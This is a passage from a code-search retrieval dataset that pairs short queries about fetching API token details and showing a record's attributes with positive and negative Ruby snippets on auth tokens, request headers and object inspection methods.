query_id
stringlengths 32
32
| query
stringlengths 7
6.75k
| positive_passages
listlengths 1
1
| negative_passages
listlengths 88
101
|
---|---|---|---|
5a714b2aca2031fe9ad80007df0395c2
|
Fetch token details Author: Shlok Date: 21/01/2019 Reviewed By:
|
[
{
"docid": "25abc7cbe1c13b9532ea59e1ac6db6ab",
"score": "0.0",
"text": "def fetch_goto\n\n FetchGoToByEconomyState.new({\n token: @token,\n client_id: @client_id,\n mint_workflow: @mint_workflow,\n from_page: GlobalConstant::GoTo.token_mint\n }).fetch_by_economy_state\n\n end",
"title": ""
}
] |
[
{
"docid": "e0aa113d95fef8cb4948c2c3a1ea29e7",
"score": "0.74699295",
"text": "def fetch_token_details\n\n @token = {}\n token_resp = Util::EntityHelper.fetch_and_validate_token(@client_id, 'a_s_mm_su_gd')\n\n if token_resp.success?\n @token = token_resp.data\n end\n\n success\n end",
"title": ""
},
{
"docid": "a8a632f80dda5a9cbab1d9f08f7ce32f",
"score": "0.7325442",
"text": "def fetch_token_details\n @token = Token.where(client_id: @client_id).first\n @token_id = @token[:id]\n\n success\n end",
"title": ""
},
{
"docid": "2a14b150955790b712720531768ce2b6",
"score": "0.7235142",
"text": "def fetch_token_details\n\n token_resp = Util::EntityHelper.fetch_and_validate_token(@client_id, 'a_s_dm_fd')\n\n # Take user to token setup if not yet setup\n unless token_resp.success? || token_resp.data[:status] == GlobalConstant::ClientToken.not_deployed\n @go_to = GlobalConstant::GoTo.token_setup\n return error_with_go_to(\n 'a_s_dm_fd_1',\n 'data_validation_failed',\n @go_to)\n end\n\n @token = token_resp.data\n \n success\n\n end",
"title": ""
},
{
"docid": "d00c08c4a41465b0a93abee72f7f81dd",
"score": "0.7078249",
"text": "def token\n info\n end",
"title": ""
},
{
"docid": "0191d497023cea2918be802fca28373b",
"score": "0.6950761",
"text": "def fetch_token_info\n response = token_info_response\n if response.success?\n apply_token_info(response)\n else\n token_error(response)\n end\n end",
"title": ""
},
{
"docid": "ed3c96f1d0f9b640a96cacb50d48c48c",
"score": "0.6851815",
"text": "def fetch_token_details_before_setup\n get('')\n end",
"title": ""
},
{
"docid": "e1a1858b6c0080708ee1f6242d372f40",
"score": "0.6836494",
"text": "def token \n request.headers['Authorisation']\n end",
"title": ""
},
{
"docid": "cd40cacb5445164819aafb95f0743bf3",
"score": "0.6823017",
"text": "def get_token\n token\n end",
"title": ""
},
{
"docid": "ac4d9495be44b6a496530c529979439e",
"score": "0.6798507",
"text": "def inspectToken\n # TODO: Token refresh?\n json_response('')\n end",
"title": ""
},
{
"docid": "4961a3106df9954caa58fc31c0020fe4",
"score": "0.6692405",
"text": "def token\n request.headers['Authorisation']\n end",
"title": ""
},
{
"docid": "bbbb461a513331a3e7c871310d0acf86",
"score": "0.6675824",
"text": "def token\n user_token\n end",
"title": ""
},
{
"docid": "295a07d8a5bac8dbc71f5fd9619cfabf",
"score": "0.6622522",
"text": "def show\n @token = current_user.request_nirror_token\n end",
"title": ""
},
{
"docid": "dbb3c520e94b38b2499cd26ebbf5cdae",
"score": "0.6573649",
"text": "def fetch_token\n \t@github_api.get_token(params[:code])\n end",
"title": ""
},
{
"docid": "97ba8076da0d0870c669c9ee8b92d551",
"score": "0.6502485",
"text": "def retrieve_token\n new.retrieve_token\n end",
"title": ""
},
{
"docid": "154b0744339b81f93a317bcf667be9fb",
"score": "0.64822465",
"text": "def fetch_github_token; end",
"title": ""
},
{
"docid": "066c06ba2c4b5885ad6c1318bc2badca",
"score": "0.64795685",
"text": "def get_token\n\t\t\tpage = @agent.get(\"https://torrentapi.org/pubapi_v2.php?get_token=get_token&app_id=DownloadTV\").content\n\t\t\t\n\t\t\tobj = JSON.parse(page)\n\n\t\t\t@token = obj['token']\n\n\t\tend",
"title": ""
},
{
"docid": "862b4cf0d70021dfe8c22ec8362c3426",
"score": "0.6472389",
"text": "def token\n @data['token']\n end",
"title": ""
},
{
"docid": "9153d9d1d3d06435f8a82b1111a83ebe",
"score": "0.6466039",
"text": "def get_token\n request.headers['Authorization']\n end",
"title": ""
},
{
"docid": "7c2643ca8ef11bc57e8992b7bf482a66",
"score": "0.64454854",
"text": "def perform(params = {})\n send_request_of_type(\n 'get',\n GlobalConstant::SaasApi.fetch_token_details,\n params\n )\n end",
"title": ""
},
{
"docid": "1c7c38214093f4fcbfded9e44cf28cb9",
"score": "0.643665",
"text": "def token\n @token = QRtoken.new\n @user = current_user\n @accounts = Account.find_all_by_user_id(@user.id).collect {\n |a| [\"#{a.name.capitalize} Account (...#{a.number.match(/(.{0,#{4}}$)/)}): $#{a.balance}\", a.number]\n }\n end",
"title": ""
},
{
"docid": "5fda56f5753c1bd56e24975a01166b7c",
"score": "0.6434923",
"text": "def token\n @token\n end",
"title": ""
},
{
"docid": "e0a8d0ae2a313f092072a74bbcf3208d",
"score": "0.64280623",
"text": "def token\n puts \"Going to get token value for user #{self}\"\n c_url = User.get_customer_from_server(self).customer_url \n c = User.account_token.post(\"#{c_url}/iav-token\")\n puts \"C TOKEN???? #{c.token}\"\n #@t ||= c.token\n @t = c.token\n puts \"Customer token retrieved? #{@t}\"\n @t\n end",
"title": ""
},
{
"docid": "80a80dcd848edbc726d8a470bcc147f6",
"score": "0.64175093",
"text": "def token; token_data[:token]; end",
"title": ""
},
{
"docid": "95d33d1d1a664d29c5e6a2d2f74cbf18",
"score": "0.63965094",
"text": "def token\n request.headers[\"Authorization\"]\n end",
"title": ""
},
{
"docid": "68a09a529fc7a17647e820fce50e6502",
"score": "0.6380454",
"text": "def token\n @token = Labtech.get_token\n end",
"title": ""
},
{
"docid": "861129d9458178ea1fb4576d186a8769",
"score": "0.6375689",
"text": "def token\n request.headers['Authorization'].to_s.split.last\n end",
"title": ""
},
{
"docid": "972dff837cd78def4bc7e39e7d1308bb",
"score": "0.6357374",
"text": "def bearer_token; end",
"title": ""
},
{
"docid": "972dff837cd78def4bc7e39e7d1308bb",
"score": "0.6357374",
"text": "def bearer_token; end",
"title": ""
},
{
"docid": "972dff837cd78def4bc7e39e7d1308bb",
"score": "0.6357374",
"text": "def bearer_token; end",
"title": ""
},
{
"docid": "972dff837cd78def4bc7e39e7d1308bb",
"score": "0.6357374",
"text": "def bearer_token; end",
"title": ""
},
{
"docid": "9c03305116c668259322bd7851e881ac",
"score": "0.6350472",
"text": "def fetch_token\n\n token_resp = Util::EntityHelper.fetch_and_validate_token(@client_id, 'j_sakidmj')\n return token_resp unless token_resp.success?\n\n @token_id = token_resp.data[:id]\n\n success\n\n end",
"title": ""
},
{
"docid": "3cfb5f60f8ba9eee2a349fd226313822",
"score": "0.63301414",
"text": "def get_cust_token\n @RESPONSE_HASH['CUST_TOKEN']\n end",
"title": ""
},
{
"docid": "af8c217aef5f91a249a0150855b33d40",
"score": "0.6316178",
"text": "def get_token\n @_token\n end",
"title": ""
},
{
"docid": "678ea11039e8653e4afd28a6c29310f4",
"score": "0.63160974",
"text": "def api_token\r\n @record\r\n end",
"title": ""
},
{
"docid": "a80d32dd07e28183ca1b506ebefc9a78",
"score": "0.63120145",
"text": "def token\n read_token\n end",
"title": ""
},
{
"docid": "7756f0900d0fd6ac4a0900ea7a6878a8",
"score": "0.6310865",
"text": "def token\n validate_arguments!\n result = email_address_and_api_key[1]\n if result\n puts result\n else\n error 'not logged in'\n end\n end",
"title": ""
},
{
"docid": "d79c8dc6555e8dcd63227cce8662d22e",
"score": "0.63027936",
"text": "def token\n generate_token(\n user_id: id,\n settings: settings,\n password_digest: password_digest,\n authorities: \"#{Digest::MD5.hexdigest(authorities.to_json)}-v3.0.0\",\n cross_shop_authorities: Digest::MD5.hexdigest(cross_shop_authorities.to_json)\n )\n end",
"title": ""
},
{
"docid": "311b7a43ee9abb440b52c73d0f9d5842",
"score": "0.6297184",
"text": "def getToken\n @@token\n end",
"title": ""
},
{
"docid": "af44a3d948c6bbf15e39b1ccc819d8d3",
"score": "0.62759626",
"text": "def request_token; end",
"title": ""
},
{
"docid": "404f38bab200f188ac0db66131ee07d6",
"score": "0.627516",
"text": "def auth_token; end",
"title": ""
},
{
"docid": "404f38bab200f188ac0db66131ee07d6",
"score": "0.6274847",
"text": "def auth_token; end",
"title": ""
},
{
"docid": "404f38bab200f188ac0db66131ee07d6",
"score": "0.6274847",
"text": "def auth_token; end",
"title": ""
},
{
"docid": "498010ec26f308e4a71af61d53e8ddf4",
"score": "0.62637645",
"text": "def getToken(token)\n\tresponse = RestClient.get(\"https://api.trello.com/1/tokens/\"+token+\"?key=\"+$key+\"&token=\"+$token+\"&filter=open\")\n\tresponse = JSON.parse(response)\nend",
"title": ""
},
{
"docid": "9bc60fbdf008b42841b13be6b00ad65b",
"score": "0.62609786",
"text": "def extract_token\n @oauth_token.to_hash if @oauth_token\n end",
"title": ""
},
{
"docid": "9bc60fbdf008b42841b13be6b00ad65b",
"score": "0.62609786",
"text": "def extract_token\n @oauth_token.to_hash if @oauth_token\n end",
"title": ""
},
{
"docid": "4548a1c8e542febb99e6ef2704f790b9",
"score": "0.62520355",
"text": "def token_details_get\n service_response = TokenManagement::GetTokenDetailsBeforeSetup.new(params).perform\n\n # set last used env cookie\n set_cookie(\n GlobalConstant::Cookie.last_used_env_cookie_name,\n GlobalConstant::Base.main_sub_environment? ? GlobalConstant::Cookie.mainnet_env : GlobalConstant::Cookie.sandbox_env,\n GlobalConstant::Cookie.last_used_env_cookie_expiry\n )\n\n return render_api_response(service_response)\n end",
"title": ""
},
{
"docid": "1b9366dd529a0b301516a3dc4fa85439",
"score": "0.62403494",
"text": "def token\n \"#{id}.#{digest}\"\n end",
"title": ""
},
{
"docid": "9f681499296737a6e41f6a60733e438e",
"score": "0.62390405",
"text": "def token\n @token\n end",
"title": ""
},
{
"docid": "9f681499296737a6e41f6a60733e438e",
"score": "0.62390405",
"text": "def token\n @token\n end",
"title": ""
},
{
"docid": "baca167289dda1324ca0bf835f00e13c",
"score": "0.6231339",
"text": "def get_token\n return @token\n end",
"title": ""
},
{
"docid": "5ee2f40aad4f7443e6e51ff758f8c1b7",
"score": "0.6216579",
"text": "def fetch_token\n\n token_resp = Util::EntityHelper.fetch_and_validate_token(@client_id, 'tem_b')\n return token_resp unless token_resp.success?\n\n @token = token_resp.data\n\n # if token is not yet deployed, per its status redirect accordingly\n if @token[:status] != GlobalConstant::ClientToken.deployment_completed\n return error_with_data(\n 'tem_b_2',\n 'token_not_setup',\n GlobalConstant::ErrorAction.default\n )\n end\n\n @token_id = @token[:id]\n @aux_chain_id = @token[:aux_chain_id]\n\n if @token[:stake_currency_id].present?\n @stake_currencies = Util::EntityHelper.fetch_stake_currency_details(@token[:stake_currency_id]).data\n else\n @stake_currencies = {}\n end\n\n success\n\n end",
"title": ""
},
{
"docid": "196dcc47f4180b323e5df31b194ad6c0",
"score": "0.61984605",
"text": "def token\n ensure_token\n @token\n end",
"title": ""
},
{
"docid": "196dcc47f4180b323e5df31b194ad6c0",
"score": "0.61984605",
"text": "def token\n ensure_token\n @token\n end",
"title": ""
},
{
"docid": "1fe94ef16e65b17c22b129bfdf6932bd",
"score": "0.61912555",
"text": "def token\n @attributes[:token]\n end",
"title": ""
},
{
"docid": "2e4b52e125b062ec4c8f3f3f765b4b99",
"score": "0.6188414",
"text": "def token\n attributes.fetch(:token)\n end",
"title": ""
},
{
"docid": "2e4b52e125b062ec4c8f3f3f765b4b99",
"score": "0.6188414",
"text": "def token\n attributes.fetch(:token)\n end",
"title": ""
},
{
"docid": "fd8ef647881da2c90dd92450d250d433",
"score": "0.61787874",
"text": "def get_token\n read_cache['token']\n end",
"title": ""
},
{
"docid": "48ad1f002ba6ef70fa62f63247d60463",
"score": "0.61769986",
"text": "def C_GetTokenInfo\n @pk.C_GetTokenInfo(@slot)\n end",
"title": ""
},
{
"docid": "6b9b5defd8a9182a44a4fa57ed3185e6",
"score": "0.61768657",
"text": "def token\n unless request.headers['Authorization'].nil?\n request.headers['Authorization'].split.last\n end\n end",
"title": ""
},
{
"docid": "f9e15d59f3de03e31c50d2dedb335242",
"score": "0.61752486",
"text": "def token\n display \"=> Your personal API token is: #{Nimbu::Auth.token}\"\n end",
"title": ""
},
{
"docid": "a7ace6bcc78d1bbc249a7260c39dfbfe",
"score": "0.61706346",
"text": "def token_metadata(request)\n gateway_request('GET', '/api/token/' + request[:token], request)\n end",
"title": ""
},
{
"docid": "ccbc70429e74537dc145f7b1fcc3e17b",
"score": "0.61681724",
"text": "def token\n (@token ||= fetch_access_token)[\"access_token\"]\n end",
"title": ""
},
{
"docid": "49b20d7a5f92721d7f684c1a793bfe26",
"score": "0.6164279",
"text": "def auth_token\n extract_value(identity_data, \"access\", \"token\", \"id\")\n end",
"title": ""
},
{
"docid": "3aa73706c6aa4260a0b89a32e18ecca7",
"score": "0.616156",
"text": "def current_token\n find_customer.credit_cards.first&.token\n end",
"title": ""
},
{
"docid": "39c08d9ab76c4699d7c99f93d29af835",
"score": "0.6158498",
"text": "def get_token\n @logger.debug \"GET #{ROOT + '/?method=auth.gettoken&api_key=' + API_KEY}\"\n xml = parse_response( @client.get_content(ROOT + '/?method=auth.gettoken&api_key=' + API_KEY) )\n xml.token.text\n end",
"title": ""
},
{
"docid": "95ce5c5eab86e7210a37f129b0195322",
"score": "0.61584204",
"text": "def token\n attributes[:token]\n end",
"title": ""
},
{
"docid": "22db3dee6c8daa9118acd21c5df59d62",
"score": "0.6157503",
"text": "def share_token\r\n CustomerToken.get_token self\r\n end",
"title": ""
},
{
"docid": "26731661bbb89b7485426dbb32a78392",
"score": "0.6151008",
"text": "def access_token\n request.headers['Authorization'].to_s.split.last\n end",
"title": ""
},
{
"docid": "76088bfc7fc06a8d1af019b86cb14c50",
"score": "0.61482155",
"text": "def token\n headers.fetch('Authorization', '').split(' ').last\n end",
"title": ""
},
{
"docid": "5bcf257350d58d4e0dcbd4f690b65b7a",
"score": "0.6141133",
"text": "def token\n if token_present?\n request.env['HTTP_AUTHORIZATION'].scan(/Bearer (.*)$/).flatten.last\n else\n params[:t]\n end\n end",
"title": ""
},
{
"docid": "f492a284c7d2f3955d7df1d567cd6fec",
"score": "0.6135396",
"text": "def token\n @Token\n end",
"title": ""
},
{
"docid": "1a1a6e4e1d4bce02ee8f7eec91fa869f",
"score": "0.61320144",
"text": "def token\n self[:token]\n end",
"title": ""
},
{
"docid": "665d3500ff83d69399bd5178c12f364d",
"score": "0.612603",
"text": "def fetch_token\n\n token_resp = Util::EntityHelper.fetch_and_validate_token(@client_id, 'dm_g_1')\n return error_with_go_to(\n token_resp.internal_id,\n token_resp.general_error_identifier,\n GlobalConstant::GoTo.token_setup\n ) unless token_resp.success?\n\n @token = token_resp.data\n success\n end",
"title": ""
},
{
"docid": "38b5078a5e7b2812520a6f06a4432e6f",
"score": "0.61168873",
"text": "def token\n end",
"title": ""
},
{
"docid": "d9363e264255a9d7e52adfddc05dbeab",
"score": "0.6088107",
"text": "def token\n self.params[\"assertion\"]\n end",
"title": ""
},
{
"docid": "a3c16ec800f66a514089580f2580e4d4",
"score": "0.6084877",
"text": "def fetch_authorization_token\n request_token_response = https_post(auth_host, auth_token_path, request_token_req_params)\n values_from_query_string(request_token_response, [\"oauth_token\", \"oauth_token_secret\"])\n end",
"title": ""
},
{
"docid": "c60a5bf8cf691938f98b8084875f85a6",
"score": "0.6057986",
"text": "def lighthouse_access_token\n token.fetch\n end",
"title": ""
},
{
"docid": "f52c4162afde5518654dbb0806a59eaf",
"score": "0.6056243",
"text": "def get_token\n token = get_github_token(true)\n if !token || token.empty?\n puts \"=No Github API token found, please authenticate\"\n username = ask(\"==Github username: \")\n password = ask(\"==Github password: \") { |q| q.echo = false }\n\n resp = self.post(\n \"authorizations\",\n :username => username,\n :password => password,\n :body => { :scopes => \"repo\", :note => \"PullRequest Gem\" }\n )\n\n token = resp[\"token\"]\n set_github_token(token)\n\n puts \"==Token acquired\"\n end\n token\n end",
"title": ""
},
{
"docid": "1327366e40d82e40f38e143bd8ba3634",
"score": "0.6052428",
"text": "def token\n @token ||= decode(bearer_token(request.headers['AUTHORIZATION'])).first['user']\n end",
"title": ""
},
{
"docid": "498dc2568918629ea1b8ff4bb6f11da0",
"score": "0.60507476",
"text": "def fetch_token\n\n r = super\n return r unless r.success?\n\n if @token[:name].blank? || @token[:symbol].blank? || @token[:conversion_factor].blank? || @token[:decimal].blank? || @token[:status] != GlobalConstant::ClientToken.not_deployed\n return error_with_data(\n 's_tm_sd_2',\n 'token_deploy_not_allowed',\n GlobalConstant::ErrorAction.default\n )\n end\n\n @token_id = @token[:id]\n\n addresses_data = KitSaasSharedCacheManagement::TokenAddresses.new([@token_id]).fetch\n\n owner_address = addresses_data[@token_id][GlobalConstant::TokenAddresses.owner_address_kind][:address]\n\n if owner_address.blank?\n return error_with_data(\n 's_tm_sd_3',\n 'token_deploy_not_allowed',\n GlobalConstant::ErrorAction.default\n )\n end\n\n success\n\n end",
"title": ""
},
{
"docid": "2034af00633bf02ae406bd6a4e862c6b",
"score": "0.6048661",
"text": "def received_token\n if headers['Authorization'].present?\n return headers['Authorization'].split(' ').last\n else\n errors.add(:token,'Missing token')\n end\n nil\n end",
"title": ""
},
{
"docid": "7d4e005906235787f9d22a9d3e8c8ef5",
"score": "0.6044053",
"text": "def get_token(frob)\n # http://www.flickr.com/services/api/auth.howto.desktop.html\n api_sig = make_api_sig('frob' => frob, 'method' => METHODS[:get_token])\n get :get_token, :api_sig => api_sig, :frob => frob\n @token = @doc.at('/rsp/auth/token').text\n end",
"title": ""
},
{
"docid": "6ad51e12343e67812845514259198af2",
"score": "0.6043217",
"text": "def get_module_token_details(moduleName)\n module_token = get_module_token(moduleName)\n module_key = CONFIG[\"modules\"][\"#{moduleName}\"][\"module_key\"]\n token_details = @identity_api.tokenVerify(module_token, @access_token, module_key)\n return token_details[:data]\n end",
"title": ""
},
{
"docid": "e129c01894aaa50587637c0ac3d2da21",
"score": "0.6039639",
"text": "def auth_token\n @auth_token\n end",
"title": ""
},
{
"docid": "90c2a1c90aeeab26ef114d41d39d8763",
"score": "0.60392463",
"text": "def token\n WeichatRails.config.cache.fetch(appid,expires_in: 7200) do\n data = client.get(\"token\", params:{grant_type: \"client_credential\", appid: appid, secret: secret})\n valid_token(data)\n end\n end",
"title": ""
},
{
"docid": "9756c7fc9933f74f62a2461a99b63e89",
"score": "0.6024435",
"text": "def token\n request.env[\"HTTP_AUTHORIZATION\"].scan(/Bearer (.*)$/).flatten.last\n end",
"title": ""
},
{
"docid": "b83ed06fba08a9684723276718071106",
"score": "0.6022012",
"text": "def get_token\n object_from_response(Token, :post, \"authToken\")\n end",
"title": ""
},
{
"docid": "758d49bf63926132efa9927f3e7abbba",
"score": "0.6016989",
"text": "def token\n @access_token.token\n end",
"title": ""
},
{
"docid": "5b5a295d9a100eb99c7b0acddf458c6c",
"score": "0.60146254",
"text": "def fetched_user_data(token)\n JSON.parse(URI.parse(\n \"https://www.googleapis.com/oauth2/v1/userinfo?alt=json&access_token=#{token}\"\n ).read).with_indifferent_access\n end",
"title": ""
},
{
"docid": "454d1f16ce03500f905ce6bcea1a20c9",
"score": "0.6013771",
"text": "def identify(token)\n access_token = AccessToken.where(key: token).where(Sequel.lit('expires_at > :current_time', current_time: Time.now)).first\n raise ModelException.new('Access Token não encontrado.', 404) unless access_token\n\n access_token\n end",
"title": ""
},
{
"docid": "8eda678f9a6099e8d383505c457fea2e",
"score": "0.6007195",
"text": "def getTokenMember(token)\n\tresponse = RestClient.get(\"https://api.trello.com/1/tokens/\"+token+\"/member/?key=\"+$key+\"&token=\"+$token+\"&filter=open\")\n\tresponse = JSON.parse(response)\nend",
"title": ""
},
{
"docid": "77ccd4c60a3e9811dc2ad99351599257",
"score": "0.6006638",
"text": "def get_token\n @settings.get 'token'\n end",
"title": ""
},
{
"docid": "1fa4ae495f0ec92aa0e9de4ec0edcbcb",
"score": "0.600619",
"text": "def github_token\n self.github_api[github_api.keys[0]]\n end",
"title": ""
},
{
"docid": "db7523492d911c96bf0e9cffb16504a2",
"score": "0.59998953",
"text": "def token\n request.env[\"HTTP_AUTHORIZATION\"].scan(/Bearer(.*)$/).flatten.last.tr(\" \", \"\")\n end",
"title": ""
},
{
"docid": "0c099dc92845a5c19aa1bc50cbc594e2",
"score": "0.59961593",
"text": "def userDetail(token)\n header = {}\n header[:authorization] = \"Bearer #{token}\"\n apiCallURL(APIBASEURLS['login_url'] + APIENDPOINTS['login'], nil, \"GET\", header)\n end",
"title": ""
},
{
"docid": "18495f86abeb1276f82e5b59d9dd031e",
"score": "0.59901005",
"text": "def fetch_access_token!\n authorizer.fetch_access_token!\n end",
"title": ""
},
{
"docid": "4e36627ff5ee2dcef6844f657357fb1e",
"score": "0.59897226",
"text": "def getAccount(token)\n uri = URI.parse(\"https://api.github.com/user?access_token=#{token}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n req = Net::HTTP::Get.new(uri.request_uri, {'Content-Type':'application/json'})\n req['Accept'] = 'application/json'\n res = http.request(req)\n tmp = JSON.parse(res.body)\n # add the access token to the payload\n tmp['token'] = token\n tmp['accountID'] = SecureRandom.uuid\n tmp['ttl'] = Time.now.to_i + 604800 # expire a week from now\n # remove nils\n tmp2 = tmp.delete_if {|k, v| v.nil?}\n # remove empty strings\n tmp2.delete_if {|k, v| v.respond_to?(:empty?)? v.empty? : false}\nend",
"title": ""
},
{
"docid": "c0f0098727cd8185489511c1e702a4d3",
"score": "0.5983773",
"text": "def get_token(username, password)\n (Hpricot(open(\"https://www.pivotaltracker.com/services/tokens/active\", :http_basic_authentication => [username, password])).at('guid')).inner_html\n end",
"title": ""
},
{
"docid": "3115aab0c5c5a393f52d9eead62a4747",
"score": "0.59835845",
"text": "def request_token\n @request_token\n end",
"title": ""
},
{
"docid": "87bcc2ae4dfeb0a6c0054295813b48b9",
"score": "0.598269",
"text": "def fetch_token(params = {})\n commit(EbayTrading::Requests::FetchToken, params)\n end",
"title": ""
},
{
"docid": "9c7952492c6ae56a725bfa01ad282dad",
"score": "0.5982473",
"text": "def user_api_token()\n self.class.get('/user/api_token', create_params({}))['result']\n end",
"title": ""
}
] |
0140ba8119a7aa30eb61ff1d48b8088e
|
Returns a string with the attributes of a Record instance Params: +show_token+:: boolean value that indicates if the string returned has the object_id
|
[
{
"docid": "6b6bf6610ef71fa7e2c4037f0c21373d",
"score": "0.76402646",
"text": "def to_s(show_token)\n \"#{flags} #{object_id if show_token}\\r\\n#{value}\"\n end",
"title": ""
}
] |
[
{
"docid": "903dfc29a221f93ff1b6ecb458831c8c",
"score": "0.6478984",
"text": "def inspect\n str = +\"#<#{self.class.name}:0x#{object_id}\"\n str << \" id=\\\"#{@id}\\\"\" if @id\n str << ' deleted=\"true\"' if @deleted\n str << '>'\n end",
"title": ""
},
{
"docid": "8ea3a7332fead1d9fb88eb5514097dfe",
"score": "0.64573544",
"text": "def token_params_html\n output = String.new\n token_params.each do |key, token|\n if (token[:type] == 'record')\n output += \"<strong>ActiveRecord #{token[:class]}:</strong> #{key} <strong>id: </strong>#{token[:id]}<br/>\"\n else\n output += \"<strong>Datastore of type #{token[:class]}: </strong>#{key} <strong>Raw contents: </strong>#{token[:contents].to_yaml}\"\n end\n end\n return output\n end",
"title": ""
},
{
"docid": "21cba3306b37851c8c70176e5ff82312",
"score": "0.62119955",
"text": "def show_param\n if @show_params && @show_params.length > 0\n \"show=#{@show_params.join(\",\")}\"\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "8bae8dc683df2fbf90c0e6bbf839112d",
"score": "0.6066369",
"text": "def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"title": ""
},
{
"docid": "8bae8dc683df2fbf90c0e6bbf839112d",
"score": "0.6066369",
"text": "def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"title": ""
},
{
"docid": "8bae8dc683df2fbf90c0e6bbf839112d",
"score": "0.6066369",
"text": "def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"title": ""
},
{
"docid": "8bae8dc683df2fbf90c0e6bbf839112d",
"score": "0.6066369",
"text": "def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"title": ""
},
{
"docid": "8bae8dc683df2fbf90c0e6bbf839112d",
"score": "0.6066369",
"text": "def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"title": ""
},
{
"docid": "8bae8dc683df2fbf90c0e6bbf839112d",
"score": "0.6066369",
"text": "def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"title": ""
},
{
"docid": "d4dd8153e3779e95a84bb8b77f330922",
"score": "0.60516024",
"text": "def inspect\n attribute_parts = attributes_for_inspect.map do |attribute|\n \"@#{attribute}=#{send(attribute).inspect}\"\n end\n format_string = \"#<%s:0x%p #{attribute_parts.join(' ')}>\"\n format(\n format_string,\n self.class.name,\n object_id\n )\n end",
"title": ""
},
{
"docid": "f58dfeb1e2812404d8010555f5972d16",
"score": "0.6018847",
"text": "def inspect\n \"#<#{self.class.name}:#{object_id}} @attributes=#{attributes}>\"\n end",
"title": ""
},
{
"docid": "858b4633364cdb936483977596559d55",
"score": "0.59402287",
"text": "def object_id_escaped\n return @object_id_escaped\n end",
"title": ""
},
{
"docid": "858b4633364cdb936483977596559d55",
"score": "0.59402287",
"text": "def object_id_escaped\n return @object_id_escaped\n end",
"title": ""
},
{
"docid": "979aa815b681ec866870d8c6991e2e20",
"score": "0.592112",
"text": "def inspect\n \"<#{self.class} @id=\\\"#{@id}\\\" @video_url=\\\"#{@video_url}\\\" @description=\\\"#{@description}\\\">\"\n end",
"title": ""
},
{
"docid": "482a624dcba28307aaa826c5e78b3fa7",
"score": "0.58912545",
"text": "def inspect\n \"#<#{self.class.name}:#{self.object_id} @username='#{username}'>\"\n end",
"title": ""
},
{
"docid": "fc827706fddec701cc002ba3e2ad8d55",
"score": "0.58647436",
"text": "def record_inspect\n str = \"<\"\n\n str << \"record ##{position}\" if position\n\n if input_name && position_in_input\n str << \" (#{input_name} ##{position_in_input}), \"\n elsif position\n str << \", \"\n end\n\n if source_id = source_record_id\n str << \"source_id:#{source_id} \"\n end\n\n if output_id = self.output_hash[\"id\"]\n str << \"output_id:#{[output_id].join(',')}\"\n end\n\n str.chomp!(\" \")\n str.chomp!(\",\")\n str << \">\"\n\n str\n end",
"title": ""
},
{
"docid": "43c8248261059dc2540b664177139616",
"score": "0.5864253",
"text": "def inspect\n \"#{id}\"\n end",
"title": ""
},
{
"docid": "942ac0354fee5ff99c36801fd102cfdd",
"score": "0.58632404",
"text": "def inspect\n attrs = fields.map { |name, field| \"#{name}: #{@attributes[name].inspect}\" } * \", \"\n \"#<#{self.class.name} _id: #{id}, #{attrs}>\"\n end",
"title": ""
},
{
"docid": "dd0dff3b6438cf0a4b7ef7823c7e115d",
"score": "0.58589387",
"text": "def get_record(params, show_token = false)\n output = ''\n params[:keys].each do |key|\n output << \"VALUE #{key} #{storage[key].to_s(show_token)}\\r\\n\" if storage.key?(key)\n end\n if output.empty?\n \"NOT_FOUND\\r\\n\"\n else\n output + \"END\\r\\n\"\n end\n end",
"title": ""
},
{
"docid": "ad59ec5e9481635131b5cc5a1f35fe8b",
"score": "0.5844163",
"text": "def show_token\n if @token\n @token.show\n end\n end",
"title": ""
},
{
"docid": "428fdc1f149e9625654d7ffe969f888a",
"score": "0.5835127",
"text": "def inspect\n attributes = [\n %Q(@name=\"#{name}\"),\n %Q(@type=\"#{type}\"),\n %Q(@instance_type=\"#{instance_type}\")\n ]\n\n # See <http://stackoverflow.com/a/2818916> for more info.\n address = (object_id << 1).to_s(16)\n\n return %Q(#<#{self.class}:0x#{address} #{attributes.join(' ')}>)\n end",
"title": ""
},
{
"docid": "428fdc1f149e9625654d7ffe969f888a",
"score": "0.5834466",
"text": "def inspect\n attributes = [\n %Q(@name=\"#{name}\"),\n %Q(@type=\"#{type}\"),\n %Q(@instance_type=\"#{instance_type}\")\n ]\n\n # See <http://stackoverflow.com/a/2818916> for more info.\n address = (object_id << 1).to_s(16)\n\n return %Q(#<#{self.class}:0x#{address} #{attributes.join(' ')}>)\n end",
"title": ""
},
{
"docid": "19c7b16eab7568804e348fe0ec19c458",
"score": "0.5823829",
"text": "def details\n return \"ID = #{@id}\\n\" +\n \"Name = #{@name}\\n\" + \n \"Real Name = #{@real_name}\\n\" + \n \"Status Text = #{@status_text}\\n\" + \n \"Status Emoji = #{@status_emoji}\"\n end",
"title": ""
},
{
"docid": "67d205ff2eef405eba924de8399a69c5",
"score": "0.5819788",
"text": "def inspect\n @record.inspect.sub(/#{record_class}/, \"#{self.class.name.to_s} proxy_object_id: #{self.object_id} record_object_id: #{@record.object_id}\")\n end",
"title": ""
},
{
"docid": "b4025e28b43bf5e31a0179236e164d84",
"score": "0.5815694",
"text": "def inspect\n as_str = \"#<#{self.class}:#{self.object_id.to_s(16)}\"\n self.class.model_attributes.merge(self.class.protected_model_attributes).each do |attr_name, ivar_name|\n as_str << \" #{attr_name}=#{instance_variable_get(ivar_name).inspect}\"\n end\n as_str << \">\"\n end",
"title": ""
},
{
"docid": "b42ec2f94bdf992225a4418c2e1be3ac",
"score": "0.58020395",
"text": "def inspect\n \"#<#{self.class}:#{object_id.to_s(16)}>\"\n end",
"title": ""
},
{
"docid": "8505094ed1004231db17f6628143adf2",
"score": "0.579884",
"text": "def inspect\n %Q|<#{self.class}: \"#{title}\" (#{id})>|\n end",
"title": ""
},
{
"docid": "6ba13da23629e6dba8b462e7a74f3c5f",
